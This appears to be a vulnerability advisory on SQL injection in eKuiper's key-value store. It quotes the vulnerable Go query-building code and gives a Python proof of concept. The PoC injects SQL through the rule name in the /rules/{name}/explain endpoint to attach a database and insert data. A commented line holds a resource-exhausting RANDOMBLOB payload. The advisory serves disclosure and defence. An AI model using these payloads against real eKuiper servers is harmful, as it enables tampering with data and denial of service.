Summary
A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore.
Details
I will use explainRuleHandler ("/rules/{name}/explain") as an example to illustrate. However, this vulnerability also exists in other methods such as sourceManageHandler, asyncTaskCancelHandler, pluginHandler, etc.
The SQL injection can happen in the code:
|
func (kv *sqlKvStore) Get(key string, value interface{}) (bool, error) { |
|
result := false |
|
err := kv.database.Apply(func(db *sql.DB) error { |
|
query := fmt.Sprintf("SELECT val FROM '%s' WHERE key='%s';", kv.table, key) |
|
row := db.QueryRow(query) |
The code to accept user input is:
|
func explainRuleHandler(w http.ResponseWriter, r *http.Request) { |
|
defer r.Body.Close() |
|
vars := mux.Vars(r) |
|
name := vars["name"] |
The rule id in the above code can be used to exploit SQL query.
Note that the delete function is also vulnerable:
|
func (kv *sqlKvStore) Delete(key string) error { |
|
return kv.database.Apply(func(db *sql.DB) error { |
|
query := fmt.Sprintf("SELECT key FROM '%s' WHERE key='%s';", kv.table, key) |
|
row := db.QueryRow(query) |
PoC
import requests
from urllib.parse import quote
# SELECT val FROM 'xxx' WHERE key='%s';
payload = f"""'; ATTACH DATABASE 'test93' AS test93;
CREATE TABLE test93.pwn (dataz text);
INSERT INTO test93.pwn (dataz) VALUES ("sql injection");--"""
#payload = "deadbeef'; SELECT 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))));--"
url = f"http://127.0.0.1:9081/rules/{quote(payload,safe='')}/explain" # explainRuleHandler
res = requests.get(url)
print(res.content)
The screenshot shows the malicious SQL query to insert a value:
The screenshot shows the breakpoint of executing the query:
Impact
SQL Injection vulnerability
The reporters are Yuan Luo, Shuai Xiong, Haoyu Wang from Tencent YunDing Security Lab.
leonnewton Reporter
Summary
A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore.
Details
I will use explainRuleHandler ("/rules/{name}/explain") as an example to illustrate. However, this vulnerability also exists in other methods such as sourceManageHandler, asyncTaskCancelHandler, pluginHandler, etc.
The SQL injection can happen in the code:
ekuiper/internal/pkg/store/sql/sqlKv.go
Lines 89 to 93 in d6457d0
The code to accept user input is:
ekuiper/internal/server/rest.go
Lines 274 to 277 in d6457d0
The rule id in the above code can be used to exploit SQL query.
Note that the delete function is also vulnerable:
ekuiper/internal/pkg/store/sql/sqlKv.go
Lines 138 to 141 in d6457d0
PoC
The screenshot shows the malicious SQL query to insert a value:
The screenshot shows the breakpoint of executing the query:
Impact
SQL Injection vulnerability
The reporters are Yuan Luo, Shuai Xiong, Haoyu Wang from Tencent YunDing Security Lab.